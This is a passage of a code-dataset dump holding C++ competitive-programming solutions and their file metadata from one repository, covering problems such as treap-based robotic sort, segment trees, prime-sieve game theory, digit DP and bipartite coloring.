{\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tif (l == r) {\r\n\t\t\ttree[x] = max(tree[x], v);\r\n\t\t} else {\r\n\t\t\tint mid = (l + r) >> 1;\r\n\t\t\tupdate(2 * x, l, mid, p, v);\r\n\t\t\tupdate(2 * x + 1, mid + 1, r, p, v);\r\n\t\t\ttree[x] = max(tree[2 * x], tree[2 * x + 1]);\r\n\t\t}\r\n\t}\r\n\tvoid update(int p, int v) {\r\n\t\tupdate(1, 1, n, p, v);\r\n\t}\r\n\tint query(int x, int l, int r, int ql, int qr) {\r\n\t\tif (qr < ql || r < ql || qr < l) {\r\n\t\t\treturn 0;\r\n\t\t}\r\n\t\tif (ql <= l && r <= qr) {\r\n\t\t\treturn tree[x];\r\n\t\t}\r\n\t\tint mid = (l + r) >> 1;\r\n\t\tint q1 = query(2 * x, l, mid, ql, qr);\r\n\t\tint q2 = query(2 * x + 1, mid + 1, r, ql, qr);\r\n\t\treturn max(q1, q2);\r\n\t}\r\n\tint query(int ql, int qr) {\r\n\t\treturn query(1, 1, n, ql, qr);\r\n\t}\r\n};\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tint n;\r\n\t\tcin >> n;\r\n\t\tvector <int> a(n), b(n);\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> a[i];\r\n\t\t\tb[i] = a[i];\r\n\t\t}\r\n\t\tsort(b.begin(), b.end());\r\n\t\tb.erase(unique(b.begin(), b.end()), b.end());\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\ta[i] = lower_bound(b.begin(), b.end(), a[i]) - b.begin();\r\n\t\t}\r\n\t\tvector <int> left(n);\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tleft[i] = 1;\r\n\t\t\tif (i > 0 && a[i] > a[i - 1]) {\r\n\t\t\t\tleft[i] = left[i - 1] + 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\tvector <int> right(n);\r\n\t\tfor (int i = n - 1; i >= 0; i--) {\r\n\t\t\tright[i] = 1;\r\n\t\t\tif (i < n - 1 && a[i] < a[i + 1]) {\r\n\t\t\t\tright[i] = right[i + 1] + 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\tSegmentTree st(b.size());\r\n\t\tint ans = 0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tint tmp = right[i] + st.query(1, a[i]);\r\n\t\t\tans = max(ans, tmp);\r\n\t\t\tst.update(a[i] + 1, left[i]);\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.263897180557251, "alphanum_fraction": 0.27854153513908386, "avg_line_length": 20.44871711730957, "blob_id": "901cb42cbbfbb0811821bf1f6a865b9728407ca2", "content_id": "60a040fd1f42d5a23423f3e5c8dc42f38c16cda0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3346, "license_type": "no_license", "max_line_length": 70, "num_lines": 156, "path": "/Caribbean-Training-Camp-2018/Contest_5/Solutions/I5.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int maxn = 1000000+10;\n\nint w[maxn+100];\n\nint n;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen(\"dat.txt\",\"r\",stdin);\n\n const int N = 2 * 1000 * 1000;\n vector <int> primes;\n vector <int> sieve(N);\n for (int i = 2; i < N; i++) {\n if (sieve[i] == 0) {\n primes.push_back(i);\n for (int j = i; j < N; j += i) {\n sieve[j] = i;\n }\n }\n }\n\n vector <int> cnt(N);\n\n for (int i = 2; i < N; i++) {\n cnt[i] = cnt[i - 1];\n if (sieve[i] == i) {\n cnt[i]++;\n }\n }\n\n long long n;\n cin >> n;\n\n vector <long long> p;\n for (int i = 2; (long long)i * i <= n; i++) {\n if (n % i == 0) {\n int e = 0;\n while (n % i == 0) {\n e++;\n n /= i;\n }\n if (e & 1) {\n p.push_back(i);\n }\n }\n }\n\n if (n > 1) {\n p.push_back(n);\n }\n\n if (p.size() == 0) {\n cout << \"Vasya\\n\";\n } else {\n if (p.size() == 1) {\n cout << \"David\\n\";\n } else {\n if (p.size() == 2) {\n cout << \"David\\n\";\n } else {\n int xorSum = 0;\n for (auto x : p) {\n if (x < N) {\n xorSum ^= cnt[x];\n }\n }\n // xorSum = xorSum ^ cnt[p.back()]\n assert(xorSum < N);\n if (p.back() > N) {\n cout << \"David\\n\";\n } else {\n cout << (xorSum == 0 ? \"Vasya\" : \"David\") << \"\\n\";\n }\n }\n }\n }\n/*\n vector <bool> win(N);\n\n vector <int> grundy(N);\n vector <int> used(N);\n grundy[1] = 0;\n win[1] = false;\n for (int i = 2; i < N; i++) {\n vector <int> v;\n\n vector <int> ve;\n\n int x = i;\n while (x > 1) {\n int p = sieve[x];\n v.push_back(p);\n while (x > 1 && sieve[x] == p) {\n x /= p;\n }\n }\n\n for (auto p : v) {\n int y = i / p;\n used[ grundy[y] ] = i;\n\n if (!win[y]) {\n win[i] = true;\n }\n\n //cerr << \">>\" << i << \" \" << p << \"\\n\";\n\n for (int j = 0; primes[j] < p; j++) {\n used[ grundy[ y * primes[j]]] = i;\n if (!win[y * primes[j]]) {\n win[i] = true;\n }\n }\n }\n grundy[i] = 0;\n while (used[grundy[i]] == i) {\n grundy[i]++;\n }\n\n if (!win[i]) {\n int x = i;\n int y = sqrt(x);\n while (y * y < x) {\n y++;\n }\n while (y * y > x) {\n y--;\n }\n if (y * y == x) {\n continue;\n }\n while (x > 1) {\n int p = sieve[x];\n int e = 0;\n while (x > 1 && sieve[x] == p) {\n e++;\n x /= p;\n }\n cerr << \"(\" << p << \", \" << e << \") \";\n }\n cerr << \"\\n\";\n cerr << i << \" \" << grundy[i] << \"\\n\";\n }\n\n\n\n }\n*/\n}\n" }, { "alpha_fraction": 0.5576116442680359, "alphanum_fraction": 0.5635331869125366, "avg_line_length": 21.713449478149414, "blob_id": "d7c508469dddf380fdd63d0d105774d066ef86ae", "content_id": "12d8b9deb1450ade146965b9646354799ecdc4e0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4053, "license_type": "no_license", "max_line_length": 93, "num_lines": 171, "path": "/COJ/eliogovea-cojAC/eliogovea-p2088-Accepted-s1134163.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int INF = 1e9;\r\n\r\nstruct treap_node {\r\n\tint value;\r\n\tint sub_tree_size;\r\n\tint min_value;\r\n\tint priority;\r\n\tint lazy_reverse;\t\r\n\ttreap_node * left;\r\n\ttreap_node * right;\r\n\t\r\n\ttreap_node(int _value) {\r\n\t\tvalue = _value;\r\n\t\tsub_tree_size = 1;\r\n\t\tmin_value = value;\r\n\t\tpriority = (rand() << 15) | rand();\r\n\t\tlazy_reverse = 0;\r\n\t\tleft = nullptr;\r\n\t\tright = nullptr;\r\n\t}\r\n};\r\n\r\ninline int get_sub_tree_size(treap_node * now) {\r\n\treturn now != nullptr ? now->sub_tree_size : 0;\r\n}\r\n\r\ninline int get_min_value(treap_node * now) {\r\n\treturn now != nullptr ? now->min_value : INF;\r\n}\r\n\r\ninline void update_treap_node(treap_node * now) {\r\n\tif (now != nullptr) {\r\n\t\tnow->sub_tree_size = 1 + get_sub_tree_size(now->left) + get_sub_tree_size(now->right);\r\n\t\tnow->min_value = min(now->value, min(get_min_value(now->left), get_min_value(now->right)));\r\n\t}\r\n}\r\n\r\ninline void push_lazy(treap_node * now) {\r\n\tif (now != nullptr && now->lazy_reverse) {\r\n\t\tif (now->left != nullptr) {\r\n\t\t\tnow->left->lazy_reverse ^= 1;\r\n\t\t}\r\n\t\tif (now->right != nullptr) {\r\n\t\t\tnow->right->lazy_reverse ^= 1;\r\n\t\t}\r\n\t\tswap(now->left, now->right);\t\t\r\n\t\tnow->lazy_reverse = 0;\r\n\t}\r\n}\r\n\r\ntreap_node * merge(treap_node * left, treap_node * right) {\r\n\tpush_lazy(left);\r\n\tpush_lazy(right);\r\n\tif (left == nullptr) {\r\n\t\treturn right;\r\n\t}\r\n\tif (right == nullptr) {\r\n\t\treturn left;\r\n\t}\r\n\tif (left->priority > right->priority) {\r\n\t\tleft->right = merge(left->right, right);\r\n\t\tupdate_treap_node(left);\r\n\t\treturn left;\r\n\t}\r\n\tright->left = merge(left, right->left);\r\n\tupdate_treap_node(right);\r\n\treturn right;\r\n}\r\n\r\npair <treap_node *, treap_node *> split(treap_node * now, int where) {\r\n\tif (where == 0) {\r\n\t\treturn make_pair(nullptr, now);\r\n\t}\r\n\tif (now == nullptr) {\r\n\t\treturn make_pair(nullptr, nullptr);\r\n\t}\r\n\tpush_lazy(now);\r\n\tint left_size = get_sub_tree_size(now->left);\r\n\tif (left_size >= where) {\r\n\t\tpair <treap_node *, treap_node *> left_split = split(now->left, where);\r\n\t\tnow->left = left_split.second;\r\n\t\tupdate_treap_node(now);\r\n\t\treturn make_pair(left_split.first, now);\r\n\t}\r\n\tpair <treap_node *, treap_node *> right_split = split(now->right, where - (left_size + 1));\r\n\tnow->right = right_split.first;\r\n\tupdate_treap_node(now);\r\n\treturn make_pair(now, right_split.second);\r\n}\r\n\r\nint get_position(treap_node * now, int value) {\r\n\t// assert(now != nullptr);\r\n\t// assert(now->min_value == value);\r\n\tpush_lazy(now);\r\n\tif (now->value == value) {\r\n\t\treturn 1 + get_sub_tree_size(now->left);\r\n\t}\r\n\tif (get_min_value(now->left) == value) {\r\n\t\treturn get_position(now->left, value);\r\n\t}\r\n\treturn get_sub_tree_size(now->left) + 1 + get_position(now->right, value);\r\n}\r\n\r\nvoid print_treap(treap_node * now) {\r\n\tif (now == nullptr) {\r\n\t\treturn;\r\n\t}\r\n\tprint_treap(now->left);\r\n\tcout << \"(\" << now->value << \", \" << now->min_value << \") \";\r\n\tprint_treap(now->right);\r\n}\r\n\r\nvoid robotic_sort() {\r\n\tint n;\r\n\twhile (cin >> n && n != 0) {\r\n\t\ttreap_node * root = nullptr;\r\n\t\t\r\n\t\tvector <int> p(n);\r\n\t\tvector <pair <int, int> > q(n);\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> p[i];\r\n\t\t\tq[i] = make_pair(p[i], i);\r\n\t\t}\r\n\t\t\r\n\t\tsort(q.begin(), q.end());\r\n\t\t\r\n\t\tfor (int i = 0; i < n; i++) { // i != j => p[i] != p[j]\r\n\t\t\tp[i] = lower_bound(q.begin(), q.end(), make_pair(p[i], i)) - q.begin();\r\n\t\t}\r\n\t\t\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\troot = merge(root, new treap_node(p[i]));\r\n\t\t}\r\n\t\t\r\n\t\t// print_treap(root); cerr << \"\\n\";\r\n\t\t\r\n\t\t\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tint pos = get_position(root, i);\r\n\t\t\t\r\n\t\t\tcout << i + pos;\r\n\t\t\tif (i + 1 < n) {\r\n\t\t\t\tcout << \" \";\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tpair <treap_node *, treap_node *> first_split = split(root, pos);\r\n\t\t\tpair <treap_node *, treap_node *> second_split = split(first_split.first, pos - 1);\r\n\t\t\t\r\n\t\t\tif (second_split.first != nullptr) {\r\n\t\t\t\tsecond_split.first->lazy_reverse ^= 1;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tdelete second_split.second;\r\n\t\t\t\r\n\t\t\troot = merge(second_split.first, first_split.second);\r\n\t\t}\r\n\t\tcout << \"\\n\";\r\n\t\t\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t\r\n\trobotic_sort();\r\n}" }, { "alpha_fraction": 0.32938387989997864, "alphanum_fraction": 0.3720379173755646, "avg_line_length": 18.095237731933594, "blob_id": "0eeb3caa8cd71ea417c53ed015a33474f1849b2d", "content_id": "a13e33fda644f3580eed26b6aaf1274e19136a3c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1688, "license_type": "no_license", "max_line_length": 84, "num_lines": 84, "path": "/COJ/eliogovea-cojAC/eliogovea-p2610-Accepted-s966061.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000000007;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\nstring s;\r\nint n;\r\nint dp[15][55][15];\r\nint C[105][105];\r\nint freq[15];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> s;\r\n\tn = s.size();\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfreq[s[i] - '0']++;\r\n\t}\r\n\tfor (int i = 0; i <= n; i++) {\r\n\t\tC[i][0] = C[i][i] = 1;\r\n\t\tfor (int j = 1; j < i; j++) {\r\n\t\t\tC[i][j] = C[i - 1][j - 1];\r\n\t\t\tadd(C[i][j], C[i - 1][j]);\r\n\t\t}\r\n\t}\r\n\r\n\tint I = n / 2;\r\n\tint P = n - I;\r\n\t/// 0\r\n\tif (n & 1) {\r\n\t\tfor (int p = 0; p < P && p <= freq[0]; p++) {\r\n\t\t\tint i = freq[0] - p;\r\n\t\t\tif (i < 0 || i > I) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tdp[0][p][0] = mul(C[P - 1][p], C[I][i]);\r\n\t\t}\r\n\t} else {\r\n\t\tfor (int p = 0; p <= P && p <= freq[0]; p++) {\r\n\t\t\tint i = freq[0] - p;\r\n\t\t\tif (i < 0 || i >= I) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tdp[0][p][0] = mul(C[P][p], C[I - 1][i]);\r\n\t\t}\r\n\t}\r\n\tint total = freq[0];\r\n\tfor (int d = 1; d <= 9; d++) {\r\n\t\tfor (int p = 0; p <= P && p <= total; p++) {\r\n\t\t\tint i = total - p;\r\n\t\t\tif (i < 0 || i > I) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tfor (int r = 0; r < 11; r++) {\r\n\t\t\t\tif (dp[d - 1][p][r] != 0) {\r\n\t\t\t\t\tfor (int pp = 0; p + pp <= P && pp <= freq[d]; pp++) {\r\n\t\t\t\t\t\tint ii = freq[d] - pp;\r\n\t\t\t\t\t\tif (ii < 0 || i + ii > I) {\r\n\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tint diff = pp - ii;\r\n\t\t\t\t\t\tint nr = (r + ((d * (pp - ii)) % 11) + 11) % 11;\r\n\t\t\t\t\t\tadd(dp[d][p + pp][nr], mul(dp[d - 1][p][r], mul(C[I - i][ii], C[P - p][pp])));\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\ttotal += freq[d];\r\n\t}\r\n\tcout << dp[9][P][0] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.42696627974510193, "alphanum_fraction": 0.4314606785774231, "avg_line_length": 16.54166603088379, "blob_id": "c208c24a35c849cf1b580651e3017ff8da952fe2", "content_id": "7755339f91ffd5e9711cdd56b35e58ab385a4d95", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 445, "license_type": "no_license", "max_line_length": 39, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p3026-Accepted-s706131.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nint n, x, y, maxx, maxy, minx, miny, l;\r\n\r\nint main() {\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> x >> y;\r\n\t\tif (i == 0) {\r\n\t\t\tmaxx = minx = x;\r\n\t\t\tmaxy = miny = y;\r\n\t\t} else {\r\n\t\t\tif (x > maxx) maxx = x;\r\n\t\t\tif (x < minx) minx = x;\r\n\t\t\tif (y > maxy) maxy = y;\r\n\t\t\tif (y < miny) miny = y;\r\n\t\t}\r\n\t}\r\n\tl = maxx - minx;\r\n\tif (l < maxy - miny) l = maxy - miny;\r\n\tcout << l * l << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4514169991016388, "alphanum_fraction": 0.4736842215061188, "avg_line_length": 23.33333396911621, "blob_id": "b85809c9ade1f962c07c4c6f8a2ced129b0ed220", "content_id": "8f770e3d56f700d40756594257c56083d8f6f606", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 988, "license_type": "no_license", "max_line_length": 55, "num_lines": 39, "path": "/COJ/eliogovea-cojAC/eliogovea-p2667-Accepted-s657008.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <algorithm>\r\n#include <fstream>\r\n#include <cassert>\r\n\r\nusing namespace std;\r\n\r\nint n, a[1005], mx;\r\nvector<pair<int, int> > S[1005], sol;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> n;\r\n\tfor (int i = 1; i <= n; i++) cin >> a[i];\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\ta[0] = a[n + 1] = a[i];\r\n\t\tint lo = i - 1;\r\n\t\tint hi = i + 1;\r\n\t\twhile (a[lo] % a[i]) lo--;\r\n\t\twhile (a[hi] % a[i]) hi++;\r\n\t\tlo++; hi--;\r\n\t\tif (hi - lo + 1 < mx) continue;\r\n\t\tif (hi - lo + 1 > mx) mx = hi - lo + 1;\r\n\t\tS[mx].push_back(make_pair(lo, hi));\r\n\t}\r\n\tsort(S[mx].begin(), S[mx].end());\r\n\tint last = -1;\r\n\tfor (int i = 0; i < S[mx].size(); i++) {\r\n if (S[mx][i].first == last) continue;\r\n last = S[mx][i].first;\r\n sol.push_back(S[mx][i]);\r\n\t}\r\n\tcout << mx << \" \" << sol.size() << \"\\n\";\r\n\tfor (int i = 0; i < sol.size(); i++)\r\n\t\tcout << sol[i].first << \" \" << sol[i].second << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.40094900131225586, "alphanum_fraction": 0.4270462691783905, "avg_line_length": 13.142857551574707, "blob_id": "51b412b6516aec988d4926567ef4295d4e8c7470", "content_id": "19ac6538b62886651cca91e51e25fca701b052d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 843, "license_type": "no_license", "max_line_length": 40, "num_lines": 56, "path": "/Timus/1080-7468848.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1080\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 150;\r\n\r\nint n;\r\nvector <int> g[N];\r\nint color[N];\r\n\r\nbool dfs(int u, int c) {\r\n\tcolor[u] = c;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\tif (color[v] != -1) {\r\n\t\t\tif (color[v] == c) {\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tif (!dfs(v, 1 - c)) {\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn true;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint x;\r\n\t\twhile (cin >> x && x != 0) {\r\n\t\t\tg[i].push_back(x - 1);\r\n\t\t\tg[x - 1].push_back(i);\r\n\t\t}\r\n\t}\r\n\t\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcolor[i] = -1;\r\n\t}\r\n\t\r\n\tif (!dfs(0, 0)) {\r\n\t\tcout << \"-1\\n\";\r\n\t} else {\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcout << color[i];\r\n\t\t}\r\n\t\tcout << \"\\n\";\r\n\t}\r\n}" }, { "alpha_fraction": 0.44914135336875916, "alphanum_fraction": 0.48216643929481506, "avg_line_length": 26.037036895751953, "blob_id": "2d6ebaa90891538af91f70c8558da605cecef6be", "content_id": "7398f4e97fa25ba3e5f98cfdd1b5dce15a209785", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 757, "license_type": "no_license", "max_line_length": 95, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p1624-Accepted-s609234.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <cstring>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 1010;\r\n\r\nchar str[MAXN];\r\nbool pal[MAXN][MAXN];\r\nint dp[MAXN], slen;\r\n\r\nint main() {\r\n\tscanf(\"%s\", str + 1);\r\n\tslen = strlen(str + 1);\r\n\r\n\tfor (int i = 1; i <= slen; i++) pal[i][i] = 1;\r\n\tfor (int i = 1; i < slen; i++) pal[i][i + 1] = (str[i] == str[i + 1]);\r\n\tfor (int len = 3; len <= slen; len++)\r\n\t\tfor (int beg = 1; beg + len - 1 <= slen; beg++)\r\n\t\t\tpal[beg][beg + len - 1] = ((str[beg] == str[beg + len - 1]) && pal[beg + 1][beg + len - 2]);\r\n\r\n\tfor (int i = 1; i <= slen; i++) dp[i] = 1 << 29;\r\n\tfor (int i = 1; i <= slen; i++)\r\n\t\tfor (int j = i; j <= slen; j++)\r\n\t\t\tif (pal[i][j]) dp[j] = min(dp[j], dp[i - 1] + 1);\r\n\tprintf(\"%d\\n\", dp[slen]);\r\n}\r\n" }, { "alpha_fraction": 0.40980392694473267, "alphanum_fraction": 0.42549020051956177, "avg_line_length": 18.816326141357422, "blob_id": "6fdf8c6955312a4431eb0d217e8b143dfe3bc624", "content_id": "8d8edd22124729986256633ce5be902d1b9f6c29", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1020, "license_type": "no_license", "max_line_length": 62, "num_lines": 49, "path": "/COJ/eliogovea-cojAC/eliogovea-p2398-Accepted-s660612.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\n#include <iostream>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\nint tc, n, c;\r\nchar L[16], aux[2];\r\nvector<string> sol;\r\nstring s;\r\n\r\ninline int vocal(char c) {\r\n\tif (c == 'a' || c == 'e' || c == 'i' || c == 'o' || c == 'u')\r\n\t\treturn 1;\r\n\treturn 0;\r\n}\r\n\r\n\r\nint main() {\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tscanf(\"%d\", &tc);\r\n\twhile (tc--) {\r\n\t\tscanf(\"%d%d\", &n, &c);\r\n\t\tfor (int i = 0; i < c; i++) {\r\n\t\t\tscanf(\"%s\", aux);\r\n\t\t\tL[i] = aux[0];\r\n\t\t}\r\n\t\tsort(L, L + c);\r\n\t\tsol.clear();\r\n\t\tfor (int i = 1; i < (1 << c); i++) {\r\n s.clear();\r\n\t\t\tint voc = 0, let = 0;\r\n\t\t\tfor (int j = 0; j < c; j++)\r\n\t\t\t\tif (i & (1 << j)) {\r\n\t\t\t\t\tlet++;\r\n\t\t\t\t\tvoc += vocal(L[j]);\r\n s += L[j];\r\n\t\t\t\t}\r\n\t\t\tif (let == n && voc >= 1 && n - voc >= 2)\r\n sol.push_back(s);\r\n\t\t}\r\n\t\tsort(sol.begin(), sol.end());\r\n\t\tsol.erase(unique(sol.begin(), sol.end()), sol.end());\r\n\t\tfor (int i = 0; i < (int)sol.size(); i++)\r\n printf(\"%s\\n\", sol[i].c_str());\r\n if (tc) printf(\"\\n\");\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3155703544616699, "alphanum_fraction": 0.34637802839279175, "avg_line_length": 15.925373077392578, "blob_id": "b34da5d2fa133d40c9d25c4746043e3343bbf343", "content_id": "fde7b84400d76342794738d3b967a33a0caff31f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1201, "license_type": "no_license", "max_line_length": 62, "num_lines": 67, "path": "/COJ/eliogovea-cojAC/eliogovea-p3605-Accepted-s934505.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 12;\r\nconst int L = 5005;\r\n\r\nint n;\r\nstring p[N + 5];\r\nstring t;\r\n\r\nint pi[L];\r\n\r\nbool match[N + 5][L];\r\n\r\nbool dp[(1 << N) + 5][L];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> p[i];\r\n\t}\r\n\tcin >> t;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tp[i] += '$';\r\n\t\tfor (int j = 1, k = 0; j < p[i].size(); j++) {\r\n\t\t\twhile (k > 0 && p[i][j] != p[i][k]) {\r\n\t\t\t\tk = pi[k - 1];\r\n\t\t\t}\r\n\t\t\tif (p[i][j] == p[i][k]) {\r\n\t\t\t\tk++;\r\n\t\t\t}\r\n\t\t\tpi[j] = k;\r\n\t\t}\r\n\t\tfor (int j = 0, k = 0; j < t.size(); j++) {\r\n\t\t\twhile (k > 0 && t[j] != p[i][k]) {\r\n\t\t\t\tk = pi[k - 1];\r\n\t\t\t}\r\n\t\t\tif (t[j] == p[i][k]) {\r\n\t\t\t\tk++;\r\n\t\t\t}\r\n\t\t\tif (k == p[i].size() - 1) {\r\n\t\t\t\tmatch[i][j + 1] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint ans = 0;\r\n\tdp[0][0] = true;\r\n\tfor (int i = 1; i <= t.size(); i++) {\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tif (match[j][i]) {\r\n\t\t\t\tfor (int mask = 0; mask < (1 << n); mask++) {\r\n\t\t\t\t\tif (mask & (1 << j)) {\r\n\t\t\t\t\t\tdp[mask][i] |= dp[mask ^ (1 << j)][i - p[j].size() + 1];\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tdp[0][i] = 1;\r\n\t\tif (dp[(1 << n) - 1][i]) {\r\n ans++;\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.38732394576072693, "alphanum_fraction": 0.44600939750671387, "avg_line_length": 16.040000915527344, "blob_id": "814c8fa37dc669f2fb9c291c8347946e65b7e7b2", "content_id": "beef9feee1f58de2c77f59cd37d0fb14fde4cbf1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 426, "license_type": "no_license", "max_line_length": 45, "num_lines": 25, "path": "/TOJ/3486.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nint tc, n, m;\ndouble dp[105][605];\n\nint main() {\n\tdp[0][0] = 1.0;\n\tfor (int i = 0; i < 100; i++) {\n\t\tfor (int j = 0; j <= 6 * i; j++) {\n\t\t\tfor (int k = 1; k <= 6; k++) {\n\t\t\t\tdp[i + 1][j + k] += dp[i][j] * 1.0 / 6.0;\n\t\t\t}\n\t\t}\n\t}\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcout.precision(2);\n\tcin >> tc;\n\twhile (tc--) {\n\t\tcin >> n >> m;\n\t\tcout << fixed << dp[n][m] << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.4232954680919647, "alphanum_fraction": 0.4545454680919647, "avg_line_length": 14.7619047164917, "blob_id": "e62f8684ef8188616aaa6880d81dee716ad6d29c", "content_id": "5ae706121499dc3047aa13801581be5f4dfe8362", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 352, "license_type": "no_license", "max_line_length": 34, "num_lines": 21, "path": "/COJ/eliogovea-cojAC/eliogovea-p2190-Accepted-s581272.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\nusing namespace std;\r\n\r\nconst int MAXN = 33;\r\ntypedef long long ll;\r\n\r\nint c, n;\r\nll dp[MAXN + 10];\r\n\r\nint main()\r\n{\r\n\tdp[0] = dp[1] = 1ll;\r\n\tfor (int i = 2; i <= MAXN; i++)\r\n\t\tfor (int j = 0; j < i; j++)\r\n\t\t\tdp[i] += dp[j] * dp[i - 1 - j];\r\n\tfor (scanf(\"%d\", &c); c--;)\r\n\t{\r\n\t\tscanf(\"%d\", &n);\r\n\t\tprintf(\"%lld\\n\", dp[n/2]);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.41605839133262634, "alphanum_fraction": 0.45255473256111145, "avg_line_length": 11.699999809265137, "blob_id": "219c36578cd1f0129dc3e57c566ab045f6b0b990", "content_id": "79e862af746ee6759e05c6f5b33dc0efae710d80", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 137, "license_type": "no_license", "max_line_length": 38, "num_lines": 